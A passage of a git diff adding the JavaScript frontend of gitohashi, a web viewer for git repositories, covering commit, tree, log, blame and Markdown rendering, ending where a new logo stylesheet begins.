+			makeurl(reponame, "log", rpath, null, next.oid, qofs) +
+			"'>next</a></td></tr>";
+	}
+	
+	s += "</table>"
+	
+	return s;
+}
+
+function html_commit(j) {
+	var s = "";
+	
+	s += "<div><table>";
+	s += "<tr><td>" + i18n("Author") + "</td><td>" +
+			identity(j.items[0].commit.sig_author, 16, 7) + "</td></tr>";
+	s += "<tr><td>" + i18n("Committer") + "</td><td>" +
+			identity(j.items[0].commit.sig_commit, 16, 7) + "</td></tr>";
+	s += "<tr><td>" + i18n("Tree") + "</td><td><a href=\"" +
+		makeurl(reponame, "tree", rpath,
+				qbranch, san(j.items[0].commit.oid.oid), qofs) + "\">" +
+				san(j.items[0].commit.oid.oid) + "</a>" + "&nbsp;&nbsp;" +
+				"<a href=\"" + makeurl(reponame, "patch", rpath,
+						qbranch, san(j.items[0].commit.oid.oid), qofs) + "\">" +
+						"<img class='rawpatch'> " +
+				i18n("Raw Patch") + "</a>"
+				"</td></tr>";
+	
+	s += "<tr><td colspan=2>&nbsp;</td></tr>";
+	
+	s += "<tr><td colspan=2 class='logtitle'>" +
+			patch_archive(j.items[0].commit.oid.oid, 0) +
+		    san(j.items[0].commit.msg) + " " +
+			aliases(j.items[0].commit.oid) + "</td></tr>";
+	if (j.items[0].body)
+		s += "<tr><td colspan=2 >" + "<pre class='logbody'>" +
+			 san(j.items[0].body) + "</pre></td></tr>";
+	s += "</table></div>";
+	
+	return s + "<div><pre><main role='main'><code id='do-hljs' class=diff>" +
+				san(j.items[0].diff) + "</code></main></pre></div>";
+}
+
+function filemode3(n)
+{
+	var s = "";
+	
+	if (n & 4)
+		s += 'r';
+	else
+		s += '-';
+	if (n & 2)
+		s += 'w';
+	else
+		s += '-';
+	if (n & 1)
+		s += 'x';
+	else
+		s += '-';
+	
+	return s;
+}
+
+function filemode(n)
+{
+	var s = "";
+
+	if (n & 16384)
+		return "";
+	else
+		s += '-';
+
+	return s + filemode3(n >> 6) + filemode3(n >> 3) + filemode3(n);
+}
+
+function html_tree(j, now)
+{
+	var n, bi = 0, s = "", mo = rmode;
+	
+	if (mo !== "tree" && mo !== "blame")
+		mo = "tree";
+
+	if (!blog_mode && j.items[0] && j.items[0].tree) {
+	
+		var s = "<div class='jg2-tree'><pre><table><tr>" +
+					"<td class='heading'>" + i18n("Mode") + "</td>" +
+					"<td class='headingr'>" + i18n("Size") + "</td>" +
+					"<td class='heading'>" + i18n("Name") + "</td>" +
+					"</tr>";
+		var t = j.items[0].tree;
+	
+		for (n = 0; n < t.length; n++) {
+			if ((parseInt(t[n].mode) & 0xe000) == 0xe000)
+				s += "<tr><td>&nbsp</td><td>&nbsp</td>" +
+				     "<td class='dl-dir'><img class='submodule'>&nbsp;" +
+			         san(t[n].name) + "</td></tr>";
+			else
+			
+			if (parseInt(t[n].mode) & 16384)
+				s += "<tr><td>" + filemode(parseInt(j.items[0].tree[n].mode)) + "</td>" +
+			     "<td>&nbsp</td><td class='dl-dir'><img class='folder'>&nbsp;" +
+			     "<a class='noline' href='" +
+				 makeurl(reponame, mo, (rpath != null ? rpath + '/' : "") +
+						 san(t[n].name), qbranch, qid, qofs) +
+				 "'>" + san(t[n].name) + "</a></td></tr>";
+			else
+				s += "<tr><td>" +
+					 filemode(parseInt(j.items[0].tree[n].mode)) +
+					 "</td>" + "<td class='r'>" +
+					 parseInt(j.items[0].tree[n].size) +
+					 "</td><td class='dl-file'><a class='noline' href='" +
+					 makeurl(reponame, mo, (rpath != null ? rpath + '/' : "") +
+							 san(j.items[0].tree[n].name), qbranch, qid, qofs) +
+					 "'>" + san(j.items[0].tree[n].name) + "</a></td></tr>";
+		}
+	
+		s += "</table></pre></div>";
+		bi = 1;
+	}
+	
+	if (blog_mode)
+		bi = 1;
+	
+	if (j.items[bi] && j.items[bi].blob) {
+		
+		if ((rpath && rpath.substr(rpath.length - 3) == '.md') ||
+			(rpath && rpath.substr(rpath.length - 4) == '.mkd') ||
+			bi) {
+			
+			if (!blog_mode)
+			s += "<div class='inline'><div class='inline-title'>" +
+			san(j.items[bi].blobname) +
+			     "</div>";
+			s += "<table><tr>"+
+			"<td class='doc' id='do-showdown'>" + san_nq(j.items[bi].blob) +
+			"</td></tr></table></div>";
+		} else {
+			s += "<table>";
+			
+			if (j.items[bi + 1] && j.items[bi + 1].contrib) {
+				var ct = j.items[bi + 1].contrib, c = ct.length;
+				if (c > 20)
+					c = 20;
+				s += "<tr><td colspan='2'><table><tr>";
+				for (n = 0; n < c; n++) {
+					s += "<td>" +
+					identity(j.items[bi + 1].blame[ct[n].o].sig_final, 24, 0) +
+							"</td>";
+				}
+				s += "</tr></table></td></tr>";
+			}
+			
+			s += "<tr><td><pre><code>"+
+		    "<div id='jglinenumbers' class='jglinenumbers'>"+
+		    "</div></code></pre></td>" +
+			"<td class='doc'><pre><code id='do-hljs'>" + san(j.items[bi].blob) +
+			"</code></pre></td></tr></table>";
+		}
+	}
+	
+	if (j.items[bi] && j.items[bi].bloblink) {
+		var l = j.items[bi].bloblink;
+		
+		s += "<div class='inline'><div class='inline-title'>" +
+		san(j.items[bi].blobname) +
+		     "</div>" +
+			"<table><tr>"+
+		"<td class='doc'>";
+		
+		if (l.substr(l.length - 4).toLowerCase() == ".png" ||
+			l.substr(l.length - 4).toLowerCase() == ".jpg" ||
+			l.substr(l.length - 4).toLowerCase() == ".ico" ||
+			l.substr(l.length - 5).toLowerCase() == ".jpeg") {
+
+			s += "<img src=\"" + san(l) + "\">";
+		} else
+			s += "<a href=\"" + san(l) + "\" download>" + i18n("Download") + "</a>";
+			
+		s += "</td></tr></table></div>";
+	}
+
+	return s;
+}
+
+function html_repolist(j, now)
+{
+	var n, s = "";
+
+	if (j.items[0] && j.items[0].repolist) {
+	
+		var s = "<div class='jg2-repolist'><table><tr>"+
+					"<td class='heading'>" + i18n("Name") + "</td>" +
+					"<td class='heading'>" + i18n("Description") + "</td>" +
+					"<td class='heading'>" + i18n("Owner") + "</td>" +
+					"<td class='heading'>" + i18n("URL") + "</td></tr>";
+		var t = j.items[0].repolist;
+	
+		for (n = 0; n < t.length; n++)
+				s += "<tr><td class='dl-dir'><img class='repo oneem'>" +
+					"&nbsp;<a class='noline'href='" +
+				 makeurl(t[n].reponame, null, null, null, null, null) +
+				 "'>" + san(t[n].reponame) + "</a></td>" +
+			     "<td>" + san(t[n].desc) + "</td>" +
+			     "<td>" + identity(t[n], 16, 1) + "</td>" +
+			     "<td>" + san(t[n].url) + "</td>" +
+			     "<td>&nbsp</td></tr>";
+	
+		s += "</table></div>";
+	}
+
+	return s;
+}
+
+function display_summary(j, now)
+{
+	var n, s = "<table>";
+
+    s += html_branches(now, 10)
+	     
+	s += "<tr><td colspan=5>&nbsp;</td></tr>";
+
+    s += html_tags(now, 10);
+	
+	s += "<tr><td colspan=5>&nbsp;</td></tr>";
+	
+	s += html_log(j.items[1].log, now, 10);
+	
+	s += "<tr><td colspan=5><a href=\"" +
+		makeurl(reponame, "log", rpath, qbranch, null, null) +
+		"\">[...]</a></td></tr>";
+
+	s += "</table>";
+
+	return s;
+}
+
+var doc_dir = "";
+
+var sd_ext_plain = function () {
+  var ext1 = {
+    type: 'output',
+    regex: '<img\ src=\"\./([^\"]*)',
+    replace: '<img\ \ src=\"' + makeurl(reponame, "plain", doc_dir + '$1', qbranch, qid, qofs)
+  };
+  var ext2 = {
+    type: 'output',
+    regex: '<img\ src=\"(?!http:\/\/|https:\/\/|\/)([^\"]*)',
+    replace: '<img\ \ src=\"' + makeurl(reponame, "plain", doc_dir + '$1', qbranch, qid, qofs)
+  };
+  var ext3 = {
+    type: 'output',
+    regex: '<img\ src=\"\/([^\"]*)',
+    replace: '<img\ src=\"' + makeurl(reponame, "plain", '$1', qbranch, qid, qofs)
+  };
+  var ext4 = {
+    type: 'output',
+    regex: '<a\ href=\"\./([^\"]*)',
+    replace: '<a\ class=\"blogintlink\"\ href=\"' + makeurl(reponame, "tree", doc_dir + '$1', qbranch, qid, qofs)
+  };
+  var ext5 = {
+    type: 'output',
+    regex: '<a\ href=\"http[s]*://([^\"]*)',
+    replace: '<a\ class=\"blogextlink\"\ href=\"https://' + '$1'
+  };
+  
+  return [ext1, ext2, ext3, ext4, ext5];
+}
+
+var last_mm, blametable, blamesel, blameotron;
+
+function blameotron_handler(e)
+{
+	}
+
+function blame_normal(d)
+{
+	if (!d)
+		return;
+	
+	var a = document.getElementsByClassName(d);
+	var hunks = j.items[1].blame.length, hunk = parseInt(d.substr(6));
+
+	for (m = 0; m < a.length; m++)
+		a[m].style.backgroundColor =
+			"rgba(" + (128 + (((hunk) * 128) / hunks)) +
+			   ", " + (128 + (((hunk) * 128) / hunks)) +
+			   ", " + (128 + (((hunk) * 128) / hunks)) +
+			   ", 0.3)";
+}
+
+function blameotron_revert(e)
+{
+	var dest = e.target.parentNode.getAttribute("dest");
+	window.location = dest;
+}
+
+function blame_mousemove(e)
+{
+	var d = new Date(), t = d.getTime(), y = 0, n, m;
+
+	/* check the mouse only at 20Hz */
+	
+	if (blamesel && last_mm && t - last_mm < 50)
+		return;
+
+	last_mm = t;
+	
+	/*
+	 * This slightly avant-garde api is used because we face a problem...
+	 * the blame divs need to be behind the text (the highlight is already
+	 * in front of it) but need to convert mousemoves to blame divs.
+	 *
+	 * We can't get the mousemoves by removing pointer-events from things in
+	 * front, because the user may want to highlight text for cut-and-paste
+	 * or click the line number links.
+	 */
+	
+	var x;
+	
+	if (x < 80)
+		x = 80;
+	else
+		x = e.clientX;
+	
+	var elements = document.elementsFromPoint(x, e.clientY), i;
+	var hunks = j.items[1].blame.length;
+	
+	for (m = 0; m < elements.length; m++)
+		for (n = 0; n < elements[m].classList.length; n++) {
+			if (elements[m].classList[n] == "popup-blameotron")
+				return;
+			if (elements[m].classList[n] == "putt")
+				return;
+		}
+	
+	
+	for (m = 0; m < elements.length; m++) 
+		for (n = 0; n < elements[m].classList.length; n++) 
+			if (elements[m].classList[n].substr(0, 6) == "bhunk-") {
+				
+				if (blamesel == elements[m].classList[n])
+					return;
+				
+				blame_normal(blamesel);
+				if (blameotron) {
+					blameotron.remove();
+					blameotron = null;
+				}
+				
+				blamesel = elements[m].classList[n];
+				var a = document.getElementsByClassName(blamesel);
+				hunk = parseInt(blamesel.substr(6));
+				for (i = 0; i < a.length; i++)
+					a[i].style.backgroundColor =
+						"rgba(" + (128 + (((hunk) * 64) / hunks)) +
+						   ", " + (128 + (((hunk) * 64) / hunks)) +
+						   ", " + (192 + (((hunk) * 128) / hunks)) +
+						   ", 0.5)";
+				
+				if (!blameotron) {
+					var thehunk = j.items[1].blame[hunk], bow,
+						botr_width = 250, bp = rpath, devolve, dl = "";
+					
+					bow = blametable.offsetWidth;
+					if (bow > window.pageXOffset + window.innerWidth)
+						bow = window.pageXOffset + window.innerWidth;
+					
+					bow -= botr_width + 32;
+					
+					/* original filepath may have been different */
+					if (thehunk.op)
+						bp = thehunk.op;
+					
+					devolve = makeurl(reponame, "blame", bp,
+							null, thehunk.orig_oid.oid, null) +
+							"#n" + thehunk.ranges[parseInt(
+							 elements[m].getAttribute("r"))].o;
+					
+					if (thehunk.orig_oid.oid != qid)
+						dl = "<a class='blameotron-revert' dest=\"" + devolve +
+						"\"><img class=\"devolve\"></a>&nbsp;";
+
+					blameotron = create_popup(elements[m],
+								bow,
+								collect_offsetTop(elements[m]),
+								"popup-blameotron",
+								"<div class=\"putt\"><div class=\"putt1_blame\">"+
+									"<img class=\"blame hflip\"></div>" +
+
+								"<div class=\"putt2\">" + dl +
+								
+									thehunk.sig_final.name + "<br>" +
+									agify(new Date().getTime() / 1000,
+										thehunk.sig_final.git_time.time) +
+										"</div>" +
+
+								"<div class=\"putt4\">" +
+								"<a class='blameotron-revert' dest=\"" +
+									makeurl(reponame, "commit", null,
+											null, thehunk.final_oid.oid, null) +
+										"\">" +
+										thehunk.log_final + "</a>" +
+								"</div></div>" +
+										
+								"<div class=\"putt3_blame\"><span class='gravatar64'>" +
+									identity_img(thehunk.sig_final, 64) +
+									"</span></div>",
+									botr_width, [ ], [ ], blameotron_handler);
+				}
+				
+				var elems = document.getElementsByClassName("blameotron-revert"), n;
+				for (n = 0; n < elems.length; n++)
+					elems[n].addEventListener("click", blameotron_revert.bind(elems[n]));
+				
+				return;
+			}
+}
+
+function blame_mouseout(e)
+{	
+	if (!blamesel)
+		return;
+	
+	var x;
+	
+	if (x < 80)
+		x = 80;
+	else
+		x = e.clientX;
+	
+	var elements = document.elementsFromPoint(x, e.clientY), m, n;
+	var hunks = j.items[1].blame.length;
+	
+	for (m = 0; m < elements.length; m++)
+		for (n = 0; n < elements[m].classList.length; n++) {
+			if (elements[m].classList[n].substr(0, 6) == "bhunk-")
+				return;
+			
+			if (elements[m].classList[n] == "popup-blameotron")
+				return;
+			if (elements[m].classList[n] == "putt")
+				return;
+		}
+
+	blame_normal(blamesel);
+	blamesel = null;
+	
+	if (blameotron) {
+		blameotron.remove();
+		blameotron = null;
+	}
+}
+
+function display(j)
+{
+	var url = window.location.pathname, q,
+		s = "<table class='repobar'><tbody class='repobar'>",
+		now = new Date().getTime() / 1000;
+
+	/*
+	 * /vpath/reponame/mode/repopath[?h=branch][id=xxx]
+	 */
+	
+	if (url.substr(0, j.vpath.length) == j.vpath)
+		url = url.substr(j.vpath.length + 1);
+	
+	q = url.split('/');
+	
+	relpre_no_mode = j.vpath + '/';
+	
+	if (!blog_mode && reponame) {
+		var do_aliases = null, s1 = "", s2 = "", s3 = "", s4 = "";
+		
+		s += "<tr class='repobar'><td class='repobar'><div class='repobar'>" +
+		     "<table><tr><td><span class='reponame'>" +
+			 "<a href='" + makeurl() + "'>" +
+			 "<img class='repolist'></a>&nbsp;&nbsp;<a href=\"" +
+		     makeurl(reponame, "summary", null, null, null, null) + "\">" +
+		     reponame + "</a>&nbsp;&nbsp;</span></td><td class='tight'>";
+
+		s += "<table>";
+		
+		if (j.desc)
+			s += "<tr><td class='tight info' colspan='2'>" +
+				 "<img class='info'>&nbsp;" + san(j.desc) + "</td></tr>";
+	
+		s += "<tr>";
+		
+		if (j.owner)
+			s += "<td class='tight'> " + identity(j.owner, 16, 1) + "</td>";
+		else
+			s += "<td></td>";
+			
+		if (j.url)
+			s += "<td class='tight'> " + 
+				 "<img class='copy' id='clonecopy'>&nbsp;<i>git clone " +
+				 san(j.url) + "</i></td>";
+		else
+			s += "<td></td>";
+			
+		s += "</tr></table>" +
+			 "</td></tr></tbody></table></div></td></tr>" +
+			 "<tr class='tabbar'><td class='tabbar'>";
+			
+		if (q[1]) {
+			
+			switch (q[1]) {
+			case "commit":
+				do_aliases = j.items[0].commit.oid;
+				break;
+			case "log":
+				do_aliases = j.items[0].log[0].name;
+				s2 = " class=\"selected\" ";
+				break;
+			case "tags":
+			case "branches":
+				break;
+			case "summary":
+				s1 = " class=\"selected\" ";
+				break;
+			default:
+				if (q[1] == "blame")
+					s4 = " class=\"selected\" ";
+				else
+					s3 = " class=\"selected\" ";
+				do_aliases = j.items[0].oid;
+				break;
+			}
+		} else {
+			do_aliases = j.items[0].oid;
+			s3 = " class=\"selected\" ";
+		}
+		
+		
+		s += "<div class='tabbar'>";
+		
+		s += "<div class='tabs'><ul>";
+		
+		s += "<li " + s1 + "><a href=\"" +
+			makeurl(reponame, "summary", null, null, null, null) +
+			"\"><img class='summary'>" + i18n("Summary") + "</a></li>";
+		
+		s += "<li " + s2 + "><a href=\"" +
+			makeurl(reponame, "log", rpath, qbranch, qid, qofs) +
+			"\"><img class=\"commits\">" + i18n("Log") + "</a></li>";
+		
+		s += "<li " + s3 + "><a href=\"" +
+			makeurl(reponame, "tree", rpath, qbranch, qid, qofs) +
+			"\"><img class='tree'>" + i18n("Tree") + "</a></li>";
+		
+		if (j.f & 1) { /* capable of blame */
+			s += "<li " + s4 + "><a href=\"" +
+				makeurl(reponame, "blame", rpath, qbranch, qid, qofs) +
+				"\"><img class='blame'>" + i18n("Blame") + "</a></li>";
+		}
+		
+		s += "</ul></div>&nbsp;";
+		
+		s += "<div class='rpathname'>";
+		if (do_aliases)
+			s += aliases(do_aliases) + "&nbsp;";
+		
+		if (rpath) {
+			var e = rpath.split('/'), n, agg = "", mo = rmode;
+			
+			if (mo !== "tree" && mo !== "blame")
+				mo = "tree";
+
+			s += "<a href=\"" +
+				makeurl(reponame, mo, "", qbranch, qid, qofs) + "\">" +
+				i18n("root") + "</a>";
+			
+			s += "<span class='repopath'>";
+			
+			for (n = 0; n < e.length; n++) {
+				if (e[n]) {
+					if (n)
+						agg += "/";
+					agg += e[n];
+					if (n == e.length - 1)
+						s += " / " + e[n];
+					else
+						s += " / <a href=\"" +
+							makeurl(reponame, mo, agg, qbranch, qid, qofs) + "\">" +
+							e[n] + "</a>";
+				}
+			}
+			s += "</span>";
+		}
+		s += "</div>";
+		
+		s += "</div></td></tr>";
+	}
+
+	if (q.length == 1 && reponame)
+		relpre_no_mode += q[0] + '/';
+	
+	relpre_no_mode += q[0] + '/';
+	
+	if (!blog_mode && q.length <= 2 && !reponame) {
+			s += "<tr><td class='repolist'>" + html_repolist(j, now) +
+			"</td></tr>";
+		document.getElementById("result").innerHTML = s + "</table>";
+		return;
+	}
+
+	if (j.items[0].error) {
+		s += "<tr><td><span class='error'><img class='warning'>" + san(j.items[0].error) + "</span></td></tr>";
+	} else
+	
+	if (!blog_mode && q[1])
+		switch (q[1]) {
+		case "log":
+			s += "<tr><td><main role=\"main\">" +
+				html_log(j.items[0].log, now, 50, j.items[0].next) + "</main></td></tr>";
+			break;
+		case "commit":
+			s += "<tr><td><main role=\"main\">" + html_commit(j) + "</main></td></tr>";
+			break;
+		case "tags":
+			s += "<tr><td><main role=\"main\">" + html_tags(now, 999) + "</main></td></tr>";
+			break;
+		case "branches":
+			s += "<tr><td><main role=\"main\">" + html_branches(now, 999) + "</main></td></tr>";
+			break;
+		case "summary":
+			s += "<tr><td><main role=\"main\">" + display_summary(j, now) + "</main></td></tr>";
+			break;
+		default:
+			s += "<tr><td><main role=\"main\">" + html_tree(j, now) + "</main></td></tr>";
+			break;
+		}
+	else
+		s += "<tr><td><main role=\"main\">" + html_tree(j, now) + "</main></td></tr>";
+
+	
+	s += "</table>";
+	
+	document.getElementById("result").innerHTML = s;
+	
+	/* add class-based events now the objects exist */
+
+//	elems = document.getElementsByClassName("inline-identity");
+	//for (n = 0; n < elems.length; n++)
+		//elems[n].addEventListener("error", img_err_retry);
+	
+	if (j.f & 2) {
+		var elems = document.getElementsByClassName("archive"), n;
+		for (n = 0; n < elems.length; n++)
+			elems[n].addEventListener("click", archive_click);
+		
+		elems = document.getElementsByClassName("tag");
+		for (n = 0; n < elems.length; n++)
+			elems[n].addEventListener("click", archive_click);
+		
+		elems = document.getElementsByClassName("branch");
+		for (n = 0; n < elems.length; n++)
+			elems[n].addEventListener("click", archive_click);
+		
+		elems = document.getElementsByClassName("patch");
+		for (n = 0; n < elems.length; n++)
+			elems[n].addEventListener("click", archive_click);
+	}
+	
+	{
+		var hh = document.getElementById("clonecopy");
+		if (hh)
+			hh.addEventListener("click", clonecopy_click);
+	}
+	
+	var name = rpath;
+	if ((name && name.substring(name.length - 3) == ".md") ||
+		(name && name.substring(name.length - 4) == ".mkd") ||
+		 ((!rmode || rmode == "tree" || rmode == "blame") &&
+		   document.getElementById("do-showdown"))) {
+		
+		doc_dir = "";
+		if (name) {
+			n = name.lastIndexOf("/");
+			if (n > 0)
+				doc_dir = name.substr(0, n + 1);
+		}
+				
+		showdown.extension('sd_ext_plain', sd_ext_plain);
+		
+		var conv = new showdown.Converter({extensions: ['sd_ext_plain']}), n;
+    	var hh = document.getElementById("do-showdown");
+		/* blog formatting? */
+		var hd = hh.textContent.substring(0, 1024), sp, bf = 0, hdl = 0,
+				hdhtml = "", hdhtmle = "";
+		
+		sp = hd.split('\n');
+		if (sp[0].substr(0, 1) == '%' && sp[1].substr(0, 1) == '%' &&
+			sp[2].substr(0, 1) == '%') {
+			bf = 1;
+			hdl = sp[0].length + sp[1].length + sp[2].length + 3;
+			hdhtml = "<main role=\"main\"><span class=\"blogtitle\">" + san(sp[0].substring(1)) +
+					 "</span><br>" +
+					 "<span class=\"blogdate\">" +
+						san(sp[2].substring(1)) + "</span><p>";
+			hdhtmle = "</main>";
+		}
+
+		conv.setOption('tables', '1');
+		conv.setFlavor('github');
+
+		if (bf)
+			hh.innerHTML = hdhtml + conv.makeHtml(hh.textContent.substr(hdl)) + hdhtmle;
+		else
+			hh.innerHTML = "<main role=\"complementary\">" + conv.makeHtml(hh.textContent) + "</main>";
+
+	} else
+	
+		if (typeof hljs !== "undefined") {
+			var hh = document.getElementById("do-hljs");
+			if (hh) {
+				hljs.highlightBlock(hh);
+
+				var e = document.getElementById("jglinenumbers"),
+					count, n = 1, sp;
+				if (e) {
+					e.onclick = line_range_click;
+					
+//					e.style.pointerEvents = "none";
+
+					sp = hh.textContent.split('\n');
+				count = sp.length;
+				if (sp[sp.length - 1].length == 0)
+					count--;
+
+				while (n <= count) {
+					var lin = document.createElement("a");
+					lin.id = "n" + n;
+					lin.href = "#n" + n;
+					lin.textContent = (n++) + "\n";
+						e.appendChild(lin);
+					}
+				}
+
+				var top = window.getComputedStyle(hh, null).
+						getPropertyValue("padding-top");
+
+				if (e)
+					e.style.paddingTop = top - 3;
+				
+				/* blame ... */
+
+				if (j.items[1] && j.items[1].blame) {
+					var l1, l2, etr, r, m, hunk, hunks, lofs, etable;
+
+					blametable = find_parent_of_type(e, "table");
+					
+					blametable.addEventListener("mousemove", blame_mousemove, false);
+					blametable.addEventListener("mouseout", blame_mouseout, false);
+					
+					hunks = j.items[1].blame.length;
+					for (hunk = 0; hunk < hunks; hunk++) {
+					
+						r = j.items[1].blame[hunk].ranges;
+						
+						if (r) {
+							for (n = 0; n < r.length; n++) {
+		
+								m = document.createElement("DIV");
+								
+								l1 = r[n].f;
+								l2 = l1 + r[n].l - 1;
+								
+								e = document.getElementById('n' + l1);
+								
+								m.className = "blamed-lines";
+								m.style.bottom = e.style.bottom;
+								m.style.top = collect_offsetTop(e) + 'px';
+								
+								m.classList.add('bhunk-' + hunk);
+								m.setAttribute("r", n);
+			
+								/* we will tack the highlight div at the parent tr */
+								etr = e.parentNode;//find_parent_of_type(e, "table");
+	
+								lofs = (hunk * 72) / hunks;
+								m.style.width = (blametable.offsetWidth - lofs) + 'px';
+								m.style.left = lofs + 'px';
+								m.style.height = ((l2 - l1 + 1) * e.offsetHeight) + 'px';
+	
+								etr.insertBefore(m, etr.firstChild);
+								m.style.backgroundColor =
+									"rgba(" + (128 + (((hunk) * 128) / hunks)) +
+									   ", " + (128 + (((hunk) * 128) / hunks)) +
+									   ", " + (128 + (((hunk) * 128) / hunks)) +
+									   ", 0.3)";
+		
+							}
+						}
+					}
+				}	
+	    	}
+	    }
+
+}
+
+function parse_json_reflist(j)
+{
+	var n;
+	
+	branches.length = 0;
+	tags.length = 0;
+	
+	for (n = 0; n < j.items[0].reflist.length; n++) {
+		var l = j.items[0].reflist[n];
+		if (l.name.substr(0, 11) == "refs/heads/")
+			branches.push(l);
+		else
+			if (l.name.substr(0, 10) == "refs/tags/") {
+				if (l.summary.sig_tagger &&
+				    l.summary.sig_tagger.git_time)
+					l.summary.time = l.summary.sig_tagger.git_time.time;
+				if (!l.summary.sig_tagger && l.summary.sig_author)
+					l.summary.sig_tagger = l.summary.sig_author;
+				if (!l.summary.msg_tag && l.summary.msg)
+					l.summary.msg_tag = l.summary.msg;
+				tags.push(l);
+			}
+	}
+	
+	branches.sort(comp_reftime);
+	tags.sort(comp_reftime_tag);
+}
+
+function parse_json(j)
+{
+	var n, m, u = window.location.pathname, vm, rnl, rml;
+	
+	j_avatar = j.avatar;
+	vpath = j.vpath;
+	reponame = j.reponame;
+	rmode = null;
+	qid = null;
+	qbranch = null;
+	qofs = null;
+	jf = j.f;
+	
+	m = vpath.length;
+	if (!m)
+	if (m > 1) {
+		m += 1;
+		if (vpath[vpath.length - 1] == '/')
+			m--;
+	}
+	if (!reponame.length) {
+		reponame = null;
+		rnl = 0;
+	} else
+		rnl = reponame.length + 1;
+	
+	vm = m;
+	if (reponame)
+		m += reponame.length;
+	
+	rmode = u.substr(m + 1);
+	if (rmode.length == 0) {
+		rmode = null;
+		rml = 0;
+	} else {
+		n = rmode.indexOf('/');
+		if (n >= 0) {
+			rmode = rmode.substr(0, n);
+		} else {
+			n = rmode.indexOf('?');
+			if (n >= 0) {
+				rmode = rmode.substr(0, n);
+			}
+		}
+		rml = rmode.length + 1;
+	}
+
+	rpath = u.substr(vm + rnl + rml);
+	
+	m = rpath.indexOf('?');
+	if (m >= 0)
+		rpath = rpath.substr(0, m - 1);
+	
+	if (rpath.substr(rpath.length - 1) == "/")
+		rpath = rpath.substr(0, rpath.length - 1);
+	
+	if (rpath == "")
+		rpath = null;
+	
+	u = window.location.href;
+	n = u.indexOf('?');
+
+	if (n >= 0) {
+		
+		u = u.substr(n + 1);
+	
+		n = u.indexOf("id=");
+		if (n >= 0)
+			qid = u.substr(n + 3, 40);
+		
+		n = u.indexOf("h=");
+		if (n >= 0) {
+			m = u.substr(n + 2).indexOf('&');
+			if (m > 0)
+				qbranch = u.substr(n + 2, m);
+			else
+				qbranch = u.substr(n + 2);
+		}
+		
+		n = u.indexOf("ofs=");
+		if (n >= 0) {
+			m = u.substr(n + 4).indexOf('&');
+			if (m > 0)
+				qofs = u.substr(n + 4, m);
+			else
+				qofs = u.substr(n + 4);
+		}
+	}
+
+	alang = j.alang;
+	
+	if (alang) {
+		var a = alang.split(","), n;
+		
+		for (n = 0; n < a.length; n++) {
+			var b = a[n].split(";");
+			switch (b[0]) {
+			case "ja":
+				i18n.translator.add(JSON.parse(lang_ja));
+				n = a.length;
+				loca = b[0];
+				break;
+			case "zh_TW":
+			case "zh_HK":
+			case "zh_SG":
+			case "zh_HANT":
+			case "zh-TW":
+			case "zh-HK":
+			case "zh-SG":
+			case "zh-HANT":
+				i18n.translator.add(JSON.parse(lang_zht));
+				n = a.length;
+				loca = b[0];
+				break;
+			case "zh":
+			case "zh_CN":
+			case "zh_HANS":
+			case "zh-CN":
+			case "zh-HANS":
+				i18n.translator.add(JSON.parse(lang_zhs));
+				n = a.length;
+				loca = b[0];
+				break;
+			case "en":
+			case "en_US":
+			case "en-US":
+				n = a.length;
+				loca = b[0];
+				break;
+			}
+		}
+	}
+	
+	blog_mode = !!(j.f & 4);
+	
+	if (j.items[0].reflist)
+		parse_json_reflist(j);
+}
+
+var ws, j;
+
+window.addEventListener("load", function() {
+	//console.log("load");
+
+	line_range_highlight(1);
+}, false);
+
+document.addEventListener("DOMContentLoaded", function() {
+	var init = document.getElementById("initial-json");	
+
+//	ws = new_ws(get_appropriate_ws_url(window.location.pathname), "lws-gitws");
+	 
+		if (init) {
+			// console.log("parsed initial json" + init.textContent);
+			j = JSON.parse(init.textContent);
+			parse_json(j);
+			display(j);
+			//init.remove();
+		}
+		
+		var st = document.getElementById("gitohashi-stats");
+		
+		if (st) {
+			var now = new Date().getTime() / 1000;
+			s = "<table><tr><td rowspan='2'><img class='stats'></td>" +
+				"<td colspan='" + j.items.length + "'>";
+
+			s += i18n("Page fetched %{pf} ago, creation time: %{ct}ms " +
+				 "(vhost etag hits: %{ve}%, cache hits: %{ch}%)",
+					  {
+					    pf:agify(j.gen_ut, now),
+					    ct:Math.round(j.g / 1000),
+					    ve:parseInt(j.ehitpc),
+					    ch:parseInt(j.chitpc)
+					  }
+					);			
+			
+			s += "</td></tr><tr>";
+			
+			for (n = 0; n < j.items.length; n++) {
+				s += "<td><img class=\"cache\">JSON " + (n + 1) +
+					": ";
+					s += i18n("Created %{pf} ago, creation time: %{ct}ms ",
+								  {
+								    pf:agify(now, j.items[n].s.c),
+								    ct:Math.round(j.items[n].s.u / 1000)
+								  }
+								);			
+			}
+			s += "</tr></table>";
+
+			st.innerHTML = s;
+		}
+		
+		aging();
+	
+/*
+	 try {
+			ws.onopen = function() {
+				console.log("ot_open.onopen");
+			}
+			ws.onmessage =function got_packet(msg) {
+				// document.getElementById("result").textContent = msg.data;
+				j = JSON.parse(msg.data);
+				parse_json(j);
+				
+				display(j);
+			}
+			ws.onclose = function(e){
+				console.log(" websocket connection CLOSED, code: " + e.code +
+					    ", reason: " + e.reason);
+			}
+		} catch(exception) {
+			alert('<p>Error' + exception);  
+		}
+		*/
+}, false);
+
+window.addEventListener("hashchange", function() {
+	//console.log("hashchange");
+	line_range_highlight(1);
+}, false);
+
+})();
diff --git a/assets/logo.css b/assets/logo.css
new file mode 100644
index 0000000..b3461cc
--- /dev/null
+++ b/assets/logo.css
@@ -0,0 +1,14 @@
+img.gitohashi-logo {
+        display: inline-block;
+        float:left;
+        background: url("data:image/svg+xml;base64,<?xml version="1.0" encoding="UTF-8"?>
